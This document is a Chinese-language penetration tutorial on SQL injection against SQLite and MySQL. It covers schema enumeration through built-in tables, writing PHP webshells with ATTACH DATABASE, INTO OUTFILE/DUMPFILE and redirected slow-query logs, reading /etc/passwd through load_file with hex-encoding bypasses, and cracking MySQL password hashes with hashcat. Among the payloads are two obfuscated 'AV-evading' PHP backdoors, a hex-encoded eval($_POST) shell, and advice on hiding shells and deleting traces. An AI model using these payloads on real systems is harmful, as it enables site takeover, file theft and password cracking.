数据库内置表的研究 + 通过命令写shell
0x00 SQLite内置表的研究
SQLITE_MASTER表是一张SQLite数据库的伴生表,该表会自动创建,是用来存储数据库的元信息的,如:表(table), 索引(index), 视图(view), 触发器(trigger),其结构如下
sqlite> .schema sqlite_master
CREATE TABLE sqlite_master (
type text,
name text,
tbl_name text,
rootpage integer,
sql text
);
其中,每一个字段有如下含义
字段 | 说明 |
---|---|
type | 记录项目的类型,如table、index、view、trigger |
name | 记录项目的名称,如表名、索引名等 |
tbl_name | 记录所从属的表名,如索引所在的表名。对于表来说,该列就是表名本身 |
rootpage | 记录项目在数据库页中存储的编号。对于视图和触发器,该列值为0或者NULL |
sql | 记录创建该项目的SQL语句 |
在针对SQLite的注入中,我们可以通过SQLITE_MASTER表的sql字段的数据,来获取指定/所有表的创建语句,进而获取它的表名和字段名,为之后查询表中的数据做准备
sqlite> select group_concat(sql) from sqlite_master;
group_concat(sql)
------------------------------------------------------------------------------------
CREATE TABLE DEPARTMENT(
ID INT PRIMARY KEY NOT NULL,
DEPT CHAR(50) NOT NULL,
EMP_ID INT NOT NULL
),CREATE TABLE COMPANY(
ID INT PRIMARY KEY NOT NULL,
NAME TEXT NOT NULL,
AGE INT NOT NULL,
ADDRESS CHAR(50),
SALARY REAL
)
0x01 MySQL内置表的研究
① - information_schema库
information_schema.schema_name表
schema
表中的schema_name
字段记录了所有的库名信息
mysql> select group_concat(schema_name) from information_schema.schemata;
+-----------------------------------------------+
| group_concat(schema_name) |
+-----------------------------------------------+
| information_schema,ccdb,cyzdb,dvwa,hkfdb,mydb |
+-----------------------------------------------+
1 row in set (0.10 sec)
information_schema.tables表
tables
表中的table_schema
字段记录了所有的库名信息,table_name
字段记录了所有的表名信息
mysql> select group_concat(table_name) from information_schema.tables where table_schema = 'yoursql';
+--------------------------+
| group_concat(table_name) |
+--------------------------+
| flag,user |
+--------------------------+
1 row in set (0.07 sec)
information_schema.columns表
columns
表中的table_schema
字段记录了所有的库名信息,table_name
字段记录了所有的表名信息,column_name
字段记录了所有的列名信息
mysql> select group_concat(column_name) from information_schema.columns where table_schema = 'yoursql' and table_name = 'user';
+---------------------------+
| group_concat(column_name) |
+---------------------------+
| id,name |
+---------------------------+
1 row in set (0.07 sec)
② - mysql库
从MySQL 5.5开始,默认存储引擎称为InnoDB。在MySQL 5.5及更高版本中,如果执行“ select @@ innodb_version”,则可以看到InnoDB的版本,该版本与MySQL的版本几乎相同。
但是在MySQL 5.6及更高版本中,InnoDB创建了2个新表,分别是mysql.innodb_table_stats
和mysql.innodb_index_stats
,他们分别存储表的统计信息和索引的统计信息,可以利用它其中的字段来查询库名和表名
mysql.innodb_table_stats表
innodb_table_stats
表中的database_name
字段存储库名信息,table_name
字段从存储表名信息
mysql> select distinct database_name from mysql.innodb_table_stats;
+---------------+
| database_name |
+---------------+
| ccdb |
| cyzdb |
| dvwa |
| hkfdb |
| mydb |
| mysql |
| qhrdb |
| qzwdb |
| sys |
| yoursql |
| zhydb |
+---------------+
11 rows in set (0.09 sec)
mysql> select distinct table_name from mysql.innodb_table_stats where database_name = 'yoursql';
+------------+
| table_name |
+------------+
| flag |
| user |
+------------+
2 rows in set (0.10 sec)
mysql.innodb_index_stats表
innodb_index_stats
表中的database_name
字段存储库名信息,table_name
字段从存储表名信息
mysql> select distinct database_name from mysql.innodb_index_stats;
+---------------+
| database_name |
+---------------+
| ccdb |
| cyzdb |
| dvwa |
| hkfdb |
| mydb |
| mysql |
| qhrdb |
| qzwdb |
| sys |
| yoursql |
| zhydb |
+---------------+
11 rows in set (0.12 sec)
mysql> select distinct table_name from mysql.innodb_index_stats where database_name = 'yoursql';
+------------+
| table_name |
+------------+
| flag |
| user |
+------------+
2 rows in set (0.08 sec)
可见,两表在查询库名和表名方面拿到的数据是相同的
虽说没有拿到列名,但是可以利用union的方式进行无列名注入,原理如下
mysql> select * from yoursql.user;
+----+--------+
| id | name |
+----+--------+
| 0 | Taka |
| -1 | Vox |
| 1 | Vox |
| -2 | Kraken |
| 2 | Kraken |
| 3 | satan |
| -3 | satan |
+----+--------+
7 rows in set (0.16 sec)
mysql> select 1,2 union select * from yoursql.user;
+----+--------+
| 1 | 2 |
+----+--------+
| 1 | 2 |
| 0 | Taka |
| -1 | Vox |
| 1 | Vox |
| -2 | Kraken |
| 2 | Kraken |
| 3 | satan |
| -3 | satan |
+----+--------+
mysql> select group_concat(data) from (select 1,2 as data union select * from yoursql.user)n;
+------------------------------------------+
| group_concat(data) |
+------------------------------------------+
| 2,Taka,Vox,Vox,Kraken,Kraken,satan,satan |
+------------------------------------------+
1 row in set (0.10 sec)
③ - 视图
若mysql >= 5.7,则可以利用视图获取表名和列名,类似的视图有很多,我在下方列出几个,若都不能用再去找也很方便
- sys.schema_auto_increment_columns
- sys.schema_table_statistics_with_buffer
- sys.x$schema_flattened_keys
- x$schema_table_statistics_with_buffer
其它关于information_schema bybass的文章还有很多,这里列举放一篇提供参考
聊一聊bypass information_schema - 安全客,安全资讯平台 (anquanke.com)
0x02 SQLite通过命令写Shell
条件
- 已知网站可访问路径的绝对路径
- 已知网站后台脚本语言
- 拥有写入权限
原理
-
在附加数据库的时候,如果数据库文件不存在,则会创建数据库文件,且新建文件后缀和位置可控
-
数据库存储的数据会以明文的方式保存在文件中
步骤
第一步:附加数据库,指定保存数据库的文件和后缀
我们已知网站绝对路径为D:\Server\phpstudy\PHPTutorial\WWW
则执行语句:ATTACH DATABASE 'D:\\Server\\phpstudy\\PHPTutorial\\WWW\\sqliteShell.php' AS test ;
第二步:创建一个在附加数据库中的表格
执行语句:create TABLE test.exp (shell text) ;
第三步:在表格中插入需要远程执行的代码,这里就以<?php phpinfo();?>
为例
执行语句:insert INTO test.exp VALUES ('<?php phpinfo();?>');
我们打开sqliteShell.php
文件查看,发现恶意代码已被写入成功
访问执行
0x03 MySQL通过命令写Shell
# 补充几条免杀shell
<?php $sl = create_function('', @$_REQUEST['klion']);$sl();?>
<?php $p = array('f'=>'a','pffff'=>'s','e'=>'fffff','lfaaaa'=>'r','nnnnn'=>'t');$a = array_keys($p);$_=$p['pffff'].$p['pffff'].$a[2];$_= 'a'.$_.'rt';$_(base64_decode($_REQUEST['username']));?>
secure_file_priv
配置介绍
secure_file_priv
配置控制着LOAD DATA
, SELECT … OUTFILE
, and LOAD_FILE()
指定目录的
-
情况一:包含某个相对路径
则可以在这个相对路径下进行一些危险操作
-
情况二:值为NULL
则不能进行任何危险操作
-
情况三:没有设置任何值
则对危险操作没有限制
① - 利用导出函数写Shell
如果过滤了单引号,则利用导出函数写shell将不可行
Hint:报错注入同样也可以读取写入文件,但是,写入文件不管你写入的文件内容是什么,都不会被保存。只是单纯的创建了一个空文件
条件
-
已知网站可访问路径的绝对路径
- 通过报错信息查找
- 通过phpinfo页面查找
- 枚举高频绝对路径
-
已知网站后台脚本语言
-
secure_file_priv
配置无限制或包含了导出的绝对路径利用语句:
select @@secure_file_priv;
→ 可以查看其对应的值 -
当前登录用FILE权限或者为ROOT用户
利用语句:
select user();
→ 可以查看当前登录用户利用语句:
select file_priv from mysql.user where user = '登录用户用户名';
→ 查看当前用户是否有读写权限 -
PHP没有开启魔术引号的配置对特殊符号进行转义,即
GPC
关闭
原理
通过导出函数直接将数据导出到文件中实现shell的写入
格式:select语句 into outfile/dumpfile '保存路径';
Tips:select语句中的数据可以为Hex编码的数据,会进行自动转换
mysql> select 0x3C3F70687020406576616C28245F504F53545B2763275D293B3F3E into dumpfile 'D:/Server/phpstudy/PHPTutorial/WWW/MysqlShell.php';
Query OK, 1 row affected (0.00 sec)
outfile注意事项
-
可以导出多行数据,且会给每一行的数据后面加上换行符
→
-
如果数据中有特殊字符,写入到文件中时,会有格式转换,其追加的反斜杠会使二进制文件无法生效
-
保存路径不能是以0x开头的十六进制数据或者char转换以后的路径,只能是引号包裹的路径,导致写shell时无法通过hex编码或
char()
来bypass引号转义等 -
文件不能覆盖写入,如果文件存在,则会报错
dumpfile
-
只能导出一行数据
→
-
数据保存到文件中时,会保留其原生内容/原数据格式,适合写二进制文件
-
保存路径不能是以0x开头的十六进制数据或者char转换以后的路径,只能是引号包裹的路径,导致写shell时无法通过hex编码或
char()
来bypass引号转义等 -
文件不能覆盖写入,如果文件存在,则会报错
利用导出函数的补充参数写shell
FIELDS TERMINATED BY ','
:字段值之间以,
分割LINES TERMINATED BY '\n'
:设置每⾏数据结尾的字符为换⾏符
当我们无法使用联合查询时,我们可以使用fields terminated by
与lines terminated by
来写shell
payload:?id=1 into outfile 'C:\info.php' FIELDS TERMINATED BY '<?php phpinfo();?>'%23
过程
假设我们提前知道了WEB可访问路径的绝对路径为:D:\Server\phpstudy\PHPTutorial\WWW
-
判断当前用户是否有file_priv权限 / ROOT权限
mysql> select user(); +----------------+ | user() | +----------------+ | root@localhost | +----------------+ 1 row in set (0.04 sec)
如果不是ROOT用户,可以使用
select file_priv from mysql.user where user = '登录用户用户名';
查询mysql> select file_priv from mysql.user where user = 'guest'; +-----------+ | file_priv | +-----------+ | N | +-----------+ 1 row in set (0.04 sec)
-
获取
secure_file_priv
配置mysql> select @@secure_file_priv; +--------------------+ | @@secure_file_priv | +--------------------+ | | +--------------------+ 1 row in set (0.04 sec)
-
利用outfile函数写入webshell
mysql> select '<?php phpinfo(); ?>' into dumpfile 'D:/Server/phpstudy/PHPTutorial/WWW/MysqlShell.php'; Query OK, 1 row affected (0.00 sec)
-
访问执行
② - 利用日志文件写Shell
一般运用在能够进行堆叠注入的注入点
在mysql 5.6.34
版本以后 secure_file_priv
的值默认为NULL,并且无法用SQL
语句对其进行修改,当secure_file_priv
权限不满足时,就需要用到日志文件写Shell了
条件
- 已知网站可访问路径的绝对路径,且Mysql对网站可访问路径有写权限
- 通过报错信息查找
- 通过phpinfo页面查找
- 枚举高频绝对路径
- 已知网站后台脚本语言
- mysql连接用户有权限开启日志记录和更换日志路径/ROOT权限
- PHP没有开启魔术引号的配置对特殊符号进行转义,即
GPC
关闭
原理
MySQL的日志主要包含:错误日志、查询日志、慢查询日志、事务日志、二进制日志
⽇志⽂件可以改路径也可以改⽂件后缀,这意味着可以将其改成⽹站⽬录下的php脚本⽂件,再通过慢查询将shell写⼊,最后成为webshell,而其中事务⽇志、⼆进制⽇志和错误⽇志⼀样,只能通过修改mysql配置⽂件改路径,不能利⽤
所以说里面能够利用的日志只有:查询日志和慢查询日志,查询日志是记录查询信息的日志,慢查询⽇志是⽤来记录执⾏时间超过指定时间的查询语句。
- 查看查询日志的配置:
show variables like '%general%';
- 查看慢查询日志的配置:
show variables like '%slow_query_log%';
- 启用查询日志:
set global general_log = on;
- 启用慢查询日志:
set global slow_query_log=1;
- 设置查询日志的默认路径:
set global general_log_file = '保存路径';
- 设置慢查询日志的默认路径:
set global slow_query_log_file='保存路径';
- 查询日志写shell:使用select语句即可
- 查看慢查询日志的最短记录时间:
show global variables like '%long_query_time%'
- 慢查询日志写shell:
select 'shell语句' or sleep(11);
,慢查询日志的最短记录时间默认为10s
Tips:⽇志路径可以hex编码
过程
假设我们提前知道了WEB可访问路径的绝对路径为:D:\Server\phpstudy\PHPTutorial\WWW
因为开启日志监测后文件会很大,网站访问量大的话我们写的shell会出错,所以我们一般利用慢查询日志来写shell,不过,一般上传shell之后我们都会重新创建一个隐蔽的webshell文件,然后将原记录删除,所以用查询日志也是可以的。但是因为二者的利用过程几乎一模一样,所以这里使用慢查询日志举例
-
判断当前用户是否有权限开启日志记录和更换日志路径/ROOT权限
mysql> select user(); +----------------+ | user() | +----------------+ | root@localhost | +----------------+ 1 row in set (0.05 sec)
-
判断慢查询日志是否开启
mysql> show variables like '%slow_query_log%'; +---------------------+-------------------------------------------------------------+ | Variable_name | Value | +---------------------+-------------------------------------------------------------+ | slow_query_log | OFF | | slow_query_log_file | D:\Server\phpstudy\PHPTutorial\MySQL\data\RopeKnot-slow.log | +---------------------+-------------------------------------------------------------+
-
更改慢查询日志的保存路径,开启慢查询日志
mysql> set global slow_query_log_file='D:/Server/phpstudy/PHPTutorial/WWW/logShell.php'; Query OK, 0 rows affected (0.04 sec) mysql> set global slow_query_log=1; Query OK, 0 rows affected (0.00 sec) mysql> show variables like '%slow_query_log%'; +---------------------+-------------------------------------------------+ | Variable_name | Value | +---------------------+-------------------------------------------------+ | slow_query_log | ON | | slow_query_log_file | D:/Server/phpstudy/PHPTutorial/WWW/logShell.php | +---------------------+-------------------------------------------------+ 2 rows in set (0.06 sec)
-
写入shell
mysql> select '<?php phpinfo(); ?>' or sleep(11); +------------------------------------+ | '<?php phpinfo(); ?>' or sleep(11) | +------------------------------------+ | 0 | +------------------------------------+ 1 row in set (11.05 sec)
查看文件
-
访问执行
0x04 MySQL通过命令读文件
条件
- 知道需要读取文件的绝对路径
secure_file_priv
的值非空,或者包含了所读文件的绝对路径- mysql服务对所读文件具有读权限
- mysql连接用户有FILE权限/ROOT用户或ROOT权限
原理
MySQL可以利用load_file()
读取本地文件,且传入的参数可以进行hex编码
演示
payload:?id=1000) union select 1,load_file('/etc/passwd')%23
如果PHP开启了单引号的过滤也没有关系,可以通过Hex编码绕过
payload:?id=1000) union select 1,load_file(0x2f6574632f706173737764)%23
0x05 Hashcat破解user表hash密码
Hashcat的安装:Windows系统的话,直接在微软商店下载一个Ubuntu子系统,然后使用命令一键安装即可;Linux系统,kali自带
第一步 使用命令查找数据库的密码
mysql> select User,authentication_string from mysql.user;
+---------------+-------------------------------------------+
| User | authentication_string |
+---------------+-------------------------------------------+
| root | *F861720E101148897B0F5239DB926E756B1C28B3 |
| mysql.session | *THISISNOTAVALIDPASSWORDTHATCANBEUSEDHERE |
| mysql.sys | *THISISNOTAVALIDPASSWORDTHATCANBEUSEDHERE |
| root | *F861720E101148897B0F5239DB926E756B1C28B3 |
| hkf | *2D0CFB6E0CEAC9F855DE5AF44E548E5D85CE4B8E |
| cyz | *ED6CB80E70587441E47B2B5AACDD65AB214BF0BF |
| qzw | *E619B1BAF74EB36643BC40D32B51389D8EFBC71B |
| cc | *325E75C95B7D45016200D3E5865B59DAC664C5D8 |
| zhy | *68B7DA3E81F4798DE9FA3630D427DD33423C6789 |
| hikki | *265D57B37EC355EF05B4EE94775C9031C37EC700 |
| qhr | *F815EC1CB08AECEA4D4682E5C622A5E1CBC87B39 |
+---------------+-------------------------------------------+
11 rows in set (0.16 sec)
其中,HASH值开头带*
号的是MYSQL5的HASH,不带*
号的是旧版MYSQL的HASH(也就是MYSQL323)
第二步 使用Hashcat爆破
cmd:hashcat -m 300 -a 3 F861720E101148897B0F5239DB926E756B1C28B3 ?l?l?l?l?l?d?d?d --force
参数介绍:-m 300
是标识为mysql5的加密算法,-a 3
选择掩码暴力破解模式
hikki@RopeKnot:~$ hashcat -m 300 -a 3 F861720E101148897B0F5239DB926E756B1C28B3 ?l?l?l?l?l?d?d?d --force
hashcat (v5.1.0) starting...
OpenCL Platform #1: The pocl project
====================================
* Device #1: pthread-Intel(R) Core(TM) i7-10750H CPU @ 2.60GHz, 4096/10627 MB allocatable, 12MCU
Hashes: 1 digests; 1 unique digests, 1 unique salts
Bitmaps: 16 bits, 65536 entries, 0x0000ffff mask, 262144 bytes, 5/13 rotates
Applicable optimizers:
* Zero-Byte
* Early-Skip
* Not-Salted
* Not-Iterated
* Single-Hash
* Single-Salt
* Brute-Force
Minimum password length supported by kernel: 0
Maximum password length supported by kernel: 256
ATTENTION! Pure (unoptimized) OpenCL kernels selected.
This enables cracking passwords and salts > length 32 but for the price of drastically reduced performance.
If you want to switch to optimized OpenCL kernels, append -O to your commandline.
Watchdog: Hardware monitoring interface not found on your system.
Watchdog: Temperature abort trigger disabled.
* Device #1: build_opts '-cl-std=CL1.2 -I OpenCL -I /usr/share/hashcat/OpenCL -D LOCAL_MEM_TYPE=2 -D VENDOR_ID=64 -D CUDA_ARCH=0 -D AMD_ROCM=0 -D VECT_SIZE=8 -D DEVICE_TYPE=2 -D DGST_R0=3 -D DGST_R1=4 -D DGST_R2=2 -D DGST_R3=1 -D DGST_ELEM=5 -D KERN_TYPE=300 -D _unroll'
* Device #1: Kernel m00300_a3-pure.15b80ea7.kernel not found in cache! Building may take a while...
* Device #1: Kernel markov_be.b0a1a3fb.kernel not found in cache! Building may take a while...
f861720e101148897b0f5239db926e756b1c28b3:mysql123
Session..........: hashcat
Status...........: Cracked
Hash.Type........: MySQL4.1/MySQL5
Hash.Target......: f861720e101148897b0f5239db926e756b1c28b3
Time.Started.....: Thu May 12 20:42:59 2022 (1 sec)
Time.Estimated...: Thu May 12 20:43:00 2022 (0 secs)
Guess.Mask.......: ?l?l?l?l?l?d?d?d [8]
Guess.Queue......: 1/1 (100.00%)
Speed.#1.........: 26162.8 kH/s (5.12ms) @ Accel:1024 Loops:64 Thr:1 Vec:8
Recovered........: 1/1 (100.00%) Digests, 1/1 (100.00%) Salts
Progress.........: 18087936/11881376000 (0.15%)
Rejected.........: 0/18087936 (0.00%)
Restore.Point....: 0/676000 (0.00%)
Restore.Sub.#1...: Salt:0 Amplifier:1408-1472 Iteration:0-64
Candidates.#1....: amoer123 -> nucgl712
Started: Thu May 12 20:42:44 2022
Stopped: Thu May 12 20:43:01 2022
0x06 Hashcat爆破模式简介
# 参数 -a
- [ Attack Modes ] -
# | Mode
===+======
0 | Straight # 字段破解
1 | Combination # 组合破解
3 | Brute-force # 掩码暴力破解
6 | Hybrid Wordlist + Mask # 混合字典+掩码破解
7 | Hybrid Mask + Wordlist # 混合掩码+字典破解
9 | Association # 关联攻击
字段破解:最简单的纯粹基于字典的爆破模式,后面可以连续跟上多个字典文件,破解的成功与否最终还是取决于字典质量,在几乎同等的破解时间里,几乎是最没用的,但也是最简单用的,不过既然想简单用,为啥不去学一些简单的工具呢
payload:hashcat -a 0 0192023a7bbd73250516f069df18b500 password.txt --force
组合破解:一种相对智能高效的爆破模式,它的意思是这样的,如果你事先已经明确知道密码中可能包含哪些字符串,你可以把那些字符串事先写到文件中,每行对应一个字符串,然后hashcat会自动根据你所提供的这些字符串,尝试所有可能的组合进行猜解
掩码暴力破解:基于纯掩码的爆破方式,如果你有需求要大批量爆破hash,可能会用到
payload:hashcat -m 300 -a 3 F861720E101148897B0F5239DB926E756B1C28B3 ?l?l?l?l?l?d?d?d --force
混合字典+掩码破解:基于字典和掩码配合的爆破模式,它的破解过程其实也比较简单,就是每次从前面的字典中取出一个字符串然后和后面掩码的所有组合进行拼接,直到撞到对应的明文
payload:hashcat -a 6 1844156d4166d94387f1a4ad031ca5fa password.txt ?d?d?d --force
混合掩码+字典破解:基于掩码和字典配合的爆破模式,跟混合字典+掩码破解的过程正好相反,只不过这次它是从前面进行拼接
payload:hashcat -a 7 f8def8bcecb2e7925a2b42d60d202deb ?d?d password.txt --force
关联攻击:即上下文攻击
-m
:指定加密类型,详情参考 → example_hashes hashcat wiki
-a
:指定爆破模式
字典攻击参数:-a 0 password.lst
掩码攻击参数:?l
代表小写字母,?u
代表大写字母,?s
代表特殊字符,?d
代表数字
> 1到8位数字攻击:-a 3 --increment --increment-min 1 --increment-max 8 ?d?d?d?d?d?d?d?d –O
> 8位数字攻击:-a 3 ?d?d?d?d?d?d?d?d
> 混合字符攻击:-a -2 ?d?l ?2?2?2?2